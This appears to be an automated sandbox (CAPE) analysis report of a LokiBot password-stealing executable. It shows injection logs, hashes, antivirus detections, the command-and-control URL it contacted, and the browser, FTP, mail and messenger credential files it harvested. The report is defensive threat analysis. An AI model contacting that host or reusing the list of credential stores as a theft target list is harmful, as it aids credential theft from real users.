2020-06-30 13:38:10,562 [root] INFO: Loaded monitor into process with pid 472
2020-06-30 13:38:10,578 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2020-06-30 13:38:10,578 [root] DEBUG: InjectDll: Successfully injected DLL via thread.
2020-06-30 13:38:10,593 [root] DEBUG: Successfully injected DLL C:\tmp558c2t_g\dll\PPaNRY.dll.
2020-06-30 13:38:11,625 [root] INFO: Announced 64-bit process name: lsass.exe pid: 3812
2020-06-30 13:38:11,625 [lib.api.process] INFO: Monitor config for process 3812: C:\tmp558c2t_g\dll\3812.ini
2020-06-30 13:38:11,640 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmp558c2t_g\dll\PPaNRY.dll, loader C:\tmp558c2t_g\bin\KkoBFhxS.exe
2020-06-30 13:38:11,687 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\rFcdBgXRn.
2020-06-30 13:38:11,687 [root] DEBUG: Loader: Injecting process 3812 (thread 4960) with C:\tmp558c2t_g\dll\PPaNRY.dll.
2020-06-30 13:38:11,687 [root] DEBUG: Process image base: 0x00000000FFDB0000
2020-06-30 13:38:11,703 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmp558c2t_g\dll\PPaNRY.dll.
2020-06-30 13:38:11,703 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2020-06-30 13:38:11,734 [root] DEBUG: Successfully injected DLL C:\tmp558c2t_g\dll\PPaNRY.dll.
2020-06-30 13:38:11,734 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 3812
2020-06-30 13:38:11,750 [root] DEBUG: CreateProcessHandler: using lpCommandLine: C:\Windows\system32\lsass.exe.
2020-06-30 13:38:11,750 [root] DEBUG: CreateProcessHandler: Injection info set for new process 3812, ImageBase: 0x00000000FFDB0000
2020-06-30 13:38:11,781 [root] INFO: Announced 64-bit process name: lsass.exe pid: 3812
2020-06-30 13:38:11,781 [lib.api.process] INFO: Monitor config for process 3812: C:\tmp558c2t_g\dll\3812.ini
2020-06-30 13:38:11,796 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmp558c2t_g\dll\PPaNRY.dll, loader C:\tmp558c2t_g\bin\KkoBFhxS.exe
2020-06-30 13:38:11,812 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\rFcdBgXRn.
2020-06-30 13:38:11,812 [root] DEBUG: Loader: Injecting process 3812 (thread 4960) with C:\tmp558c2t_g\dll\PPaNRY.dll.
2020-06-30 13:38:11,843 [root] DEBUG: Process image base: 0x00000000FFDB0000
2020-06-30 13:38:11,859 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmp558c2t_g\dll\PPaNRY.dll.
2020-06-30 13:38:11,859 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2020-06-30 13:38:11,859 [root] DEBUG: Successfully injected DLL C:\tmp558c2t_g\dll\PPaNRY.dll.
2020-06-30 13:38:11,875 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 3812
2020-06-30 13:38:11,875 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 3812.
2020-06-30 13:38:11,906 [root] DEBUG: Python path set to 'C:\Users\Louise\AppData\Local\Programs\Python\Python38-32'.
2020-06-30 13:38:11,937 [root] DEBUG: Dropped file limit defaulting to 100.
2020-06-30 13:38:11,953 [root] INFO: Disabling sleep skipping.
2020-06-30 13:38:11,953 [root] DEBUG: RestoreHeaders: Restored original import table.
2020-06-30 13:38:11,968 [root] DEBUG: CAPE initialised: 64-bit monitor loaded in process 3812 at 0x0000000072EC0000, image base 0x00000000FFDB0000, stack from 0x0000000000114000-0x0000000000120000
2020-06-30 13:38:11,968 [root] DEBUG: Commandline: C:\Windows\sysnative\lsass.exe.
2020-06-30 13:38:12,015 [root] WARNING: b'Unable to place hook on LockResource'
2020-06-30 13:38:12,031 [root] WARNING: b'Unable to hook LockResource'
2020-06-30 13:38:12,046 [root] INFO: Loaded monitor into process with pid 3812
2020-06-30 13:38:41,890 [root] INFO: Process with pid 3812 has terminated
2020-06-30 13:38:41,937 [root] DEBUG: ResumeThreadHandler: CurrentInjectionInfo 0x0 (Pid 1292).
2020-06-30 13:38:42,359 [root] DEBUG: DLL loaded at 0x74380000: C:\Windows\system32\profapi (0xb000 bytes).
2020-06-30 13:38:43,156 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x158 amd local view 0x72D80000 to global list.
2020-06-30 13:38:43,171 [root] DEBUG: DLL loaded at 0x72D80000: C:\Program Files (x86)\Mozilla Thunderbird\nss3 (0x134000 bytes).
2020-06-30 13:38:43,265 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x72D50000 for section view with handle 0x158.
2020-06-30 13:38:43,281 [root] DEBUG: DLL loaded at 0x72D50000: C:\Program Files (x86)\Mozilla Thunderbird\mozglue (0x24000 bytes).
2020-06-30 13:38:43,312 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x733E0000 for section view with handle 0x158.
2020-06-30 13:38:43,328 [root] DEBUG: DLL loaded at 0x733E0000: C:\Windows\system32\dbghelp (0xeb000 bytes).
2020-06-30 13:38:43,328 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x734E0000 for section view with handle 0x158.
2020-06-30 13:38:43,343 [root] DEBUG: DLL loaded at 0x734E0000: C:\Windows\system32\VERSION (0x9000 bytes).
2020-06-30 13:38:43,343 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x711A0000 for section view with handle 0x158.
2020-06-30 13:38:43,343 [root] DEBUG: DLL loaded at 0x711A0000: C:\Windows\system32\MSVCP140 (0x71000 bytes).
2020-06-30 13:38:43,359 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x71280000 for section view with handle 0x158.
2020-06-30 13:38:43,359 [root] DEBUG: DLL loaded at 0x71280000: C:\Windows\system32\VCRUNTIME140 (0x15000 bytes).
2020-06-30 13:38:43,375 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74700000 for section view with handle 0x158.
2020-06-30 13:38:43,375 [root] DEBUG: DLL loaded at 0x74700000: C:\Windows\system32\api-ms-win-crt-runtime-l1-1-0 (0x4000 bytes).
2020-06-30 13:38:43,375 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74620000 for section view with handle 0x158.
2020-06-30 13:38:43,390 [root] DEBUG: DLL loaded at 0x74620000: C:\Windows\system32\ucrtbase (0xe0000 bytes).
2020-06-30 13:38:43,390 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x745E0000 for section view with handle 0x158.
2020-06-30 13:38:43,406 [root] DEBUG: DLL loaded at 0x745E0000: C:\Windows\system32\api-ms-win-core-timezone-l1-1-0 (0x3000 bytes).
2020-06-30 13:38:43,406 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x745D0000 for section view with handle 0x158.
2020-06-30 13:38:43,421 [root] DEBUG: DLL loaded at 0x745D0000: C:\Windows\system32\api-ms-win-core-file-l2-1-0 (0x3000 bytes).
2020-06-30 13:38:43,421 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x745C0000 for section view with handle 0x158.
2020-06-30 13:38:43,421 [root] DEBUG: DLL loaded at 0x745C0000: C:\Windows\system32\api-ms-win-core-localization-l1-2-0 (0x3000 bytes).
2020-06-30 13:38:43,437 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x745B0000 for section view with handle 0x158.
2020-06-30 13:38:43,453 [root] DEBUG: DLL loaded at 0x745B0000: C:\Windows\system32\api-ms-win-core-processthreads-l1-1-1 (0x3000 bytes).
2020-06-30 13:38:43,468 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74590000 for section view with handle 0x158.
2020-06-30 13:38:43,468 [root] DEBUG: DLL loaded at 0x74590000: C:\Windows\system32\api-ms-win-core-file-l1-2-0 (0x3000 bytes).
2020-06-30 13:38:43,468 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74580000 for section view with handle 0x158.
2020-06-30 13:38:43,484 [root] DEBUG: DLL loaded at 0x74580000: C:\Windows\system32\api-ms-win-crt-string-l1-1-0 (0x4000 bytes).
2020-06-30 13:38:43,500 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74570000 for section view with handle 0x158.
2020-06-30 13:38:43,531 [root] DEBUG: DLL loaded at 0x74570000: C:\Windows\system32\api-ms-win-crt-heap-l1-1-0 (0x3000 bytes).
2020-06-30 13:38:43,578 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74560000 for section view with handle 0x158.
2020-06-30 13:38:43,578 [root] DEBUG: DLL loaded at 0x74560000: C:\Windows\system32\api-ms-win-crt-stdio-l1-1-0 (0x4000 bytes).
2020-06-30 13:38:43,593 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74550000 for section view with handle 0x158.
2020-06-30 13:38:43,593 [root] DEBUG: DLL loaded at 0x74550000: C:\Windows\system32\api-ms-win-crt-convert-l1-1-0 (0x4000 bytes).
2020-06-30 13:38:43,609 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74530000 for section view with handle 0x158.
2020-06-30 13:38:43,625 [root] DEBUG: DLL loaded at 0x74530000: C:\Windows\system32\api-ms-win-crt-locale-l1-1-0 (0x3000 bytes).
2020-06-30 13:38:43,640 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74540000 for section view with handle 0x158.
2020-06-30 13:38:43,640 [root] DEBUG: DLL loaded at 0x74540000: C:\Windows\system32\api-ms-win-crt-math-l1-1-0 (0x5000 bytes).
2020-06-30 13:38:43,656 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x71270000 for section view with handle 0x158.
2020-06-30 13:38:43,656 [root] DEBUG: DLL loaded at 0x71270000: C:\Windows\system32\api-ms-win-crt-multibyte-l1-1-0 (0x5000 bytes).
2020-06-30 13:38:43,656 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74520000 for section view with handle 0x158.
2020-06-30 13:38:43,671 [root] DEBUG: DLL loaded at 0x74520000: C:\Windows\system32\api-ms-win-crt-time-l1-1-0 (0x3000 bytes).
2020-06-30 13:38:43,671 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x744E0000 for section view with handle 0x158.
2020-06-30 13:38:43,671 [root] DEBUG: DLL loaded at 0x744E0000: C:\Windows\system32\api-ms-win-crt-filesystem-l1-1-0 (0x3000 bytes).
2020-06-30 13:38:43,687 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74500000 for section view with handle 0x158.
2020-06-30 13:38:43,703 [root] DEBUG: DLL loaded at 0x74500000: C:\Windows\system32\api-ms-win-crt-environment-l1-1-0 (0x3000 bytes).
2020-06-30 13:38:43,703 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74610000 for section view with handle 0x158.
2020-06-30 13:38:43,718 [root] DEBUG: DLL loaded at 0x74610000: C:\Windows\system32\api-ms-win-crt-utility-l1-1-0 (0x3000 bytes).
2020-06-30 13:38:43,718 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x71230000 for section view with handle 0x158.
2020-06-30 13:38:43,750 [root] DEBUG: DLL loaded at 0x71230000: C:\Windows\system32\WINMM (0x32000 bytes).
2020-06-30 13:38:43,750 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x71220000 for section view with handle 0x158.
2020-06-30 13:38:43,750 [root] DEBUG: DLL loaded at 0x71220000: C:\Windows\system32\WSOCK32 (0x7000 bytes).
2020-06-30 13:38:43,812 [root] DEBUG: DLL unloaded from 0x72D80000.
2020-06-30 13:38:43,812 [root] DEBUG: DLL unloaded from 0x734D0000.
2020-06-30 13:38:43,812 [root] DEBUG: DLL unloaded from 0x74F00000.
2020-06-30 13:38:43,921 [root] DEBUG: DLL unloaded from 0x734D0000.
2020-06-30 13:38:43,921 [root] DEBUG: DLL unloaded from 0x74F00000.
2020-06-30 13:38:43,921 [root] DEBUG: DLL unloaded from 0x766F0000.
2020-06-30 13:38:43,937 [root] DEBUG: DLL unloaded from 0x734D0000.
2020-06-30 13:38:43,937 [root] DEBUG: DLL unloaded from 0x74F00000.
2020-06-30 13:38:44,328 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x164 amd local view 0x745F0000 to global list.
2020-06-30 13:38:44,328 [root] DEBUG: DLL loaded at 0x72EB0000: C:\Windows\system32\SAMCLI (0xf000 bytes).
2020-06-30 13:38:44,343 [root] DEBUG: DLL loaded at 0x743B0000: C:\Windows\system32\WKSCLI (0xf000 bytes).
2020-06-30 13:38:44,343 [root] DEBUG: DLL loaded at 0x745F0000: C:\Windows\system32\NETAPI32 (0x11000 bytes).
2020-06-30 13:38:44,359 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x745A0000 for section view with handle 0x164.
2020-06-30 13:38:44,359 [root] DEBUG: DLL loaded at 0x745A0000: C:\Windows\system32\netutils (0x9000 bytes).
2020-06-30 13:38:44,359 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74430000 for section view with handle 0x164.
2020-06-30 13:38:44,375 [root] DEBUG: DLL loaded at 0x74430000: C:\Windows\system32\srvcli (0x19000 bytes).
2020-06-30 13:38:44,390 [root] DEBUG: DLL loaded at 0x72E90000: C:\Windows\system32\SAMLIB (0x12000 bytes).
2020-06-30 13:38:44,406 [root] DEBUG: DLL loaded at 0x74390000: C:\Windows\system32\USERENV (0x17000 bytes).
2020-06-30 13:38:44,468 [root] DEBUG: DLL loaded at 0x76770000: C:\Windows\syswow64\CRYPT32 (0x122000 bytes).
2020-06-30 13:38:44,468 [root] DEBUG: DLL loaded at 0x762F0000: C:\Windows\syswow64\MSASN1 (0xc000 bytes).
2020-06-30 13:38:44,484 [root] DEBUG: DLL loaded at 0x743D0000: C:\Windows\System32\mswsock (0x3c000 bytes).
2020-06-30 13:38:44,515 [root] DEBUG: DLL loaded at 0x72E40000: C:\Windows\system32\DNSAPI (0x44000 bytes).
2020-06-30 13:38:44,515 [root] DEBUG: DLL loaded at 0x747E0000: C:\Windows\system32\IPHLPAPI (0x1c000 bytes).
2020-06-30 13:38:44,515 [root] DEBUG: DLL loaded at 0x747D0000: C:\Windows\system32\WINNSI (0x7000 bytes).
2020-06-30 13:38:56,640 [root] DEBUG: DLL loaded at 0x72E30000: C:\Windows\system32\rasadhlp (0x6000 bytes).
2020-06-30 13:39:13,437 [root] DEBUG: DLL loaded at 0x72DE0000: C:\Windows\System32\fwpuclnt (0x38000 bytes).
2020-06-30 13:39:18,593 [root] DEBUG: DLL loaded at 0x743C0000: C:\Windows\System32\wshtcpip (0x5000 bytes).
2020-06-30 13:39:38,500 [root] INFO: Added new file to list with pid None and path C:\Users\Louise\AppData\Roaming\E5A3EA\ACE282.lck
2020-06-30 13:41:18,296 [root] INFO: Analysis timeout hit, terminating analysis.
2020-06-30 13:41:23,468 [lib.api.process] INFO: Terminate event set for process 1292
2020-06-30 13:41:23,468 [root] DEBUG: Terminate Event: Attempting to dump process 1292
2020-06-30 13:41:23,484 [lib.api.process] INFO: Termination confirmed for process 1292
2020-06-30 13:41:23,500 [root] INFO: Terminate event set for process 1292.
2020-06-30 13:41:23,500 [lib.api.process] INFO: Terminate event set for process 472
2020-06-30 13:41:28,500 [lib.api.process] INFO: Termination confirmed for process 472
2020-06-30 13:41:28,500 [root] INFO: Terminate event set for process 472.
2020-06-30 13:41:28,500 [root] INFO: Created shutdown mutex.
2020-06-30 13:41:29,437 [root] DEBUG: Terminate Event: Attempting to dump process 472
2020-06-30 13:41:29,500 [root] INFO: Shutting down package.
2020-06-30 13:41:29,500 [root] INFO: Stopping auxiliary modules.
2020-06-30 13:41:55,578 [lib.common.results] WARNING: File C:\bioZEZNWxM\bin\procmon.xml doesn't exist anymore
2020-06-30 13:41:55,593 [root] INFO: Finishing auxiliary modules.
2020-06-30 13:41:55,593 [root] INFO: Shutting down pipe server and dumping dropped files.
2020-06-30 13:41:55,593 [root] WARNING: Folder at path "C:\bioZEZNWxM\debugger" does not exist, skip.
2020-06-30 13:41:55,609 [root] INFO: Analysis completed.

Machine

Name Label Manager Started On Shutdown On
win7x64_3 win7x64_7 KVM 2020-06-30 13:47:30 2020-06-30 13:53:07

File Details

File Name MjPYKNO80AdS
File Size 608768 bytes
File Type PE32 executable (GUI) Intel 80386, for MS Windows
PE timestamp 1992-06-19 22:22:17
MD5 eb1d8bf22b67e3667319ccf2604a6b1f
SHA1 0a73ccb16e2a7c94e429fc3506b5b45fcab59548
SHA256 c8b3a01832b2e830bee4a54c0620582b67082dfe03ee434a1c08941c714bdc2c
SHA512 0e2a1329220d9f94e099ed09d4f42b66dfc51d28a0648088ea24de5e766318f6d4ab36120cd92f158cfcfc05f409472b88c336f2209bbc7f6df5329f483a4e0d
CRC32 4C98B29C
Ssdeep 12288:4CbpcLhilrm7G8oclWEAroCo3DQmT2tYpAK15BF2RggO/l9:fuLhi80Jro7cYpN15WSgOf
Download Download ZIP Resubmit sample

Signatures

Behavioural detection: Executable code extraction - unpacking
Yara rule detections observed from a process memory dump/dropped files/CAPE
Hit: PID 3452 trigged the Yara rule 'shellcode_patterns'
Hit: PID 3452 trigged the Yara rule 'HeavensGate'
Hit: PID 3452 trigged the Yara rule 'Loki'
Creates RWX memory
Possible date expiration check, exits too soon after checking local time
process: MjPYKNO80AdS.exe, PID 3452
Dynamic (imported) function loading detected
DynamicLoader: IMM32.DLL/ImmCreateContext
DynamicLoader: IMM32.DLL/ImmDestroyContext
DynamicLoader: IMM32.DLL/ImmNotifyIME
DynamicLoader: IMM32.DLL/ImmAssociateContext
DynamicLoader: IMM32.DLL/ImmReleaseContext
DynamicLoader: IMM32.DLL/ImmGetContext
DynamicLoader: IMM32.DLL/ImmGetCompositionStringA
DynamicLoader: IMM32.DLL/ImmSetCompositionStringA
DynamicLoader: IMM32.DLL/ImmGetCompositionStringW
DynamicLoader: IMM32.DLL/ImmSetCompositionStringW
DynamicLoader: IMM32.DLL/ImmSetCandidateWindow
DynamicLoader: kernel32.dll/GetDiskFreeSpaceExA
DynamicLoader: oleaut32.dll/VariantChangeTypeEx
DynamicLoader: oleaut32.dll/VarNeg
DynamicLoader: oleaut32.dll/VarNot
DynamicLoader: oleaut32.dll/VarAdd
DynamicLoader: oleaut32.dll/VarSub
DynamicLoader: oleaut32.dll/VarMul
DynamicLoader: oleaut32.dll/VarDiv
DynamicLoader: oleaut32.dll/VarIdiv
DynamicLoader: oleaut32.dll/VarMod
DynamicLoader: oleaut32.dll/VarAnd
DynamicLoader: oleaut32.dll/VarOr
DynamicLoader: oleaut32.dll/VarXor
DynamicLoader: oleaut32.dll/VarCmp
DynamicLoader: oleaut32.dll/VarI4FromStr
DynamicLoader: oleaut32.dll/VarR4FromStr
DynamicLoader: oleaut32.dll/VarR8FromStr
DynamicLoader: oleaut32.dll/VarDateFromStr
DynamicLoader: oleaut32.dll/VarCyFromStr
DynamicLoader: oleaut32.dll/VarBoolFromStr
DynamicLoader: oleaut32.dll/VarBstrFromCy
DynamicLoader: oleaut32.dll/VarBstrFromDate
DynamicLoader: oleaut32.dll/VarBstrFromBool
DynamicLoader: USER32.dll/GetMonitorInfoA
DynamicLoader: USER32.dll/GetSystemMetrics
DynamicLoader: USER32.dll/EnumDisplayMonitors
DynamicLoader: USER32.dll/AnimateWindow
DynamicLoader: comctl32.dll/InitializeFlatSB
DynamicLoader: comctl32.dll/UninitializeFlatSB
DynamicLoader: comctl32.dll/FlatSB_GetScrollProp
DynamicLoader: comctl32.dll/FlatSB_SetScrollProp
DynamicLoader: comctl32.dll/FlatSB_EnableScrollBar
DynamicLoader: comctl32.dll/FlatSB_ShowScrollBar
DynamicLoader: comctl32.dll/FlatSB_GetScrollRange
DynamicLoader: comctl32.dll/FlatSB_GetScrollInfo
DynamicLoader: comctl32.dll/FlatSB_GetScrollPos
DynamicLoader: comctl32.dll/FlatSB_SetScrollPos
DynamicLoader: comctl32.dll/FlatSB_SetScrollInfo
DynamicLoader: comctl32.dll/FlatSB_SetScrollRange
DynamicLoader: USER32.dll/SetLayeredWindowAttributes
DynamicLoader: kernel32.dll/GetSystemTimeAsFileTime
DynamicLoader: kernel32.dll/FileTimeToSystemTime
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptCreateHash
DynamicLoader: CRYPTSP.dll/CryptHashData
DynamicLoader: CRYPTSP.dll/CryptGetHashParam
DynamicLoader: CRYPTSP.dll/CryptDestroyHash
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: nss3.dll/NSS_Init
DynamicLoader: nss3.dll/NSS_Shutdown
DynamicLoader: nss3.dll/PK11_GetInternalKeySlot
DynamicLoader: nss3.dll/PK11_FreeSlot
DynamicLoader: nss3.dll/PK11_Authenticate
DynamicLoader: nss3.dll/PK11SDR_Decrypt
DynamicLoader: nss3.dll/PK11_CheckUserPassword
DynamicLoader: nss3.dll/SECITEM_FreeItem
DynamicLoader: kernel32.dll/SetThreadDescription
DynamicLoader: kernel32.dll/InitializeCriticalSectionEx
DynamicLoader: softokn3.dll/NSC_GetFunctionList
DynamicLoader: softokn3.dll/NSC_ModuleDBFunc
DynamicLoader: softokn3.dll/NSC_GetFunctionList
DynamicLoader: freebl3.dll/FREEBL_GetVector
DynamicLoader: CRYPTBASE.dll/SystemFunction001
DynamicLoader: CRYPTBASE.dll/SystemFunction002
DynamicLoader: CRYPTBASE.dll/SystemFunction003
DynamicLoader: CRYPTBASE.dll/SystemFunction004
DynamicLoader: CRYPTBASE.dll/SystemFunction005
DynamicLoader: CRYPTBASE.dll/SystemFunction028
DynamicLoader: CRYPTBASE.dll/SystemFunction029
DynamicLoader: CRYPTBASE.dll/SystemFunction034
DynamicLoader: CRYPTBASE.dll/SystemFunction036
DynamicLoader: CRYPTBASE.dll/SystemFunction040
DynamicLoader: CRYPTBASE.dll/SystemFunction041
DynamicLoader: kernel32.dll/FlsFree
DynamicLoader: kernel32.dll/FlsFree
DynamicLoader: vaultcli.dll/VaultEnumerateItems
DynamicLoader: vaultcli.dll/VaultEnumerateVaults
DynamicLoader: vaultcli.dll/VaultFree
DynamicLoader: vaultcli.dll/VaultGetItem
DynamicLoader: vaultcli.dll/VaultOpenVault
DynamicLoader: vaultcli.dll/VaultCloseVault
DynamicLoader: nss3.dll/NSS_Init
DynamicLoader: nss3.dll/NSS_Shutdown
DynamicLoader: nss3.dll/PK11_GetInternalKeySlot
DynamicLoader: nss3.dll/PK11_FreeSlot
DynamicLoader: nss3.dll/PK11_Authenticate
DynamicLoader: nss3.dll/PK11SDR_Decrypt
DynamicLoader: nss3.dll/PK11_CheckUserPassword
DynamicLoader: nss3.dll/SECITEM_FreeItem
DynamicLoader: nss3.dll/sqlite3_finalize
DynamicLoader: nss3.dll/sqlite3_step
DynamicLoader: nss3.dll/sqlite3_close
DynamicLoader: nss3.dll/sqlite3_column_text
DynamicLoader: nss3.dll/sqlite3_open16
DynamicLoader: nss3.dll/sqlite3_prepare_v2
DynamicLoader: kernel32.dll/FlsFree
DynamicLoader: kernel32.dll/FlsFree
DynamicLoader: sechost.dll/LookupAccountSidLocalW
DynamicLoader: NETAPI32.DLL/NetUserGetInfo
DynamicLoader: CRYPTSP.dll/CryptImportKey
DynamicLoader: CRYPTSP.dll/CryptSetKeyParam
DynamicLoader: CRYPTSP.dll/CryptDecrypt
DynamicLoader: CRYPTSP.dll/CryptDestroyKey
DynamicLoader: NETAPI32.DLL/NetUserGetInfo
DynamicLoader: NETAPI32.DLL/NetUserGetInfo
CAPE extracted potentially suspicious content
MjPYKNO80AdS.exe: Unpacked Shellcode
MjPYKNO80AdS.exe: Loki Payload: 32-bit executable
MjPYKNO80AdS.exe: Loki
MjPYKNO80AdS.exe: Unpacked Shellcode
MjPYKNO80AdS.exe: Unpacked Shellcode
HTTP traffic contains suspicious features which may be indicative of malware related traffic
post_no_referer: HTTP traffic contains a POST request with no referer header
http_version_old: HTTP traffic uses version 1.0
suspicious_request: http://admindepartment.ir/kenlaw/five/fre.php
Queries or connects to DNS-Over-HTTPS/DNS-Over-TLS domain or IP address
ip: 1.1.1.1
Performs some HTTP requests
url: http://admindepartment.ir/kenlaw/five/fre.php
The binary contains an unknown PE section name indicative of packing
unknown section: name: CODE, entropy: 6.53, characteristics: IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ, raw_size: 0x00056c00, virtual_size: 0x00056bb4
unknown section: name: DATA, entropy: 4.61, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x0000da00, virtual_size: 0x0000d8e4
unknown section: name: BSS, entropy: 0.00, characteristics: IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x00000000, virtual_size: 0x00000e49
The binary likely contains encrypted or compressed data.
section: name: .rsrc, entropy: 7.15, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_SHARED|IMAGE_SCN_MEM_READ, raw_size: 0x00027400, virtual_size: 0x00027274
Authenticode signature is invalid
authenticode error: No signature found. SignTool Error File not valid C\Users\Louise\AppData\Local\Temp\MjPYKNO80AdS
Behavioural detection: Injection (Process Hollowing)
Injection: MjPYKNO80AdS.exe(3452) -> MjPYKNO80AdS.exe(1292)
Executed a process and injected code into it, probably while unpacking
Injection: MjPYKNO80AdS.exe(3452) -> MjPYKNO80AdS.exe(1292)
Deletes its original binary from disk
Behavioural detection: Injection (inter-process)
Attempts to repeatedly call a single API many times in order to delay analysis time
Spam: services.exe (472) called API GetSystemTimeAsFileTime 134567 times
Steals private information from local Internet browsers
file: C:\Users\Louise\AppData\Local\Google\Chrome\User Data\Default\Login Data
file: C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\pkcs11.txt
file: C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\profiles.ini
file: C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\logins.json
file: C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\key4.db
file: C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\cert9.db
A process attempted to collect browser passwords
Process: MjPYKNO80AdS.exe (1292)
Spoofs its process name and/or associated pathname to appear as a legitimate process
original_name: MjPYKNO80AdS.exe
original_path: C:\Users\Louise\AppData\Local\Temp\MjPYKNO80AdS.exe
modified_name: mjpykno80ads.exe
modified_path: C:\Users\Louise\AppData\Local\Temp\mjpykno80ads.exe
CAPE detected the Loki malware family
File has been identified by 37 Antiviruses on VirusTotal as malicious
Bkav: W32.AIDetectVM.malware2
MicroWorld-eScan: Gen:Variant.Zusy.307895
FireEye: Generic.mg.eb1d8bf22b67e366
McAfee: Fareit-FTB!EB1D8BF22B67
Cylance: Unsafe
K7GW: Trojan ( 00569c031 )
Cybereason: malicious.16e2a7
Arcabit: Trojan.Zusy.D4B2B7
Invincea: heuristic
BitDefenderTheta: Gen:[email protected]
Cyren: W32/Injector.ABY.gen!Eldorado
Symantec: ML.Attribute.HighConfidence
ESET-NOD32: a variant of Win32/Injector.EMNJ
Kaspersky: HEUR:Trojan-Downloader.Win32.Adload.gen
BitDefender: Gen:Variant.Zusy.307895
Ad-Aware: Gen:Variant.Zusy.307895
Emsisoft: Gen:Variant.Zusy.307895 (B)
Fortinet: W32/Injector.ELXR!tr
Trapmine: malicious.moderate.ml.score
Ikarus: Trojan.Inject
F-Prot: W32/Injector.ABY.gen!Eldorado
MAX: malware (ai score=85)
Antiy-AVL: Trojan[PSW]/Win32.Chisburg
Endgame: malicious (high confidence)
Microsoft: Trojan:Win32/Pwsteal.Q!bit
ZoneAlarm: HEUR:Trojan-Downloader.Win32.Adload.gen
Cynet: Malicious (score: 100)
Acronis: suspicious
Malwarebytes: Trojan.MalPack.DLF
APEX: Malicious
Rising: Trojan.Injector!1.AFE3 (RDMK:cmRtazrhIvm928VaqaDOurhQ3ilX)
SentinelOne: DFI - Malicious PE
eGambit: Unsafe.AI_Score_90%
GData: Gen:Variant.Zusy.307895
Panda: Trj/Genetic.gen
CrowdStrike: win/malicious_confidence_80% (D)
Qihoo-360: HEUR/QVM05.1.40EA.Malware.Gen
Harvests credentials from local FTP client softwares
file: C:\Users\Louise\AppData\Roaming\FileZilla\sitemanager.xml
file: C:\Users\Louise\AppData\Roaming\FileZilla\recentservers.xml
file: C:\Users\Louise\AppData\Roaming\Far Manager\Profile\PluginsData\42E4AEB1-A230-44F4-B33C-F195BB654931.db
file: C:\Users\Louise\AppData\Roaming\FTPGetter\servers.xml
file: C:\Program Files (x86)\FTPGetter\Profile\servers.xml
file: C:\Users\Louise\AppData\Roaming\Estsoft\ALFTP\ESTdb2.dat
key: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts
key: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
key: HKEY_CURRENT_USER\Software\Ghisler\Total Commander
key: HKEY_CURRENT_USER\Software\LinasFTP\Site Manager
Harvests information related to installed instant messenger clients
file: C:\Users\Louise\AppData\Roaming\.purple\accounts.xml
Harvests information related to installed mail clients
file: C:\Users\Louise\AppData\Roaming\Thunderbird\profiles.ini
key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
key: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook
key: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook
Collects information to fingerprint the system
Anomalous binary characteristics
anomaly: Timestamp on binary predates the release date of the OS version it requires by at least a year
Created network traffic indicative of malicious activity
signature: ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1
signature: ET MALWARE LokiBot Checkin
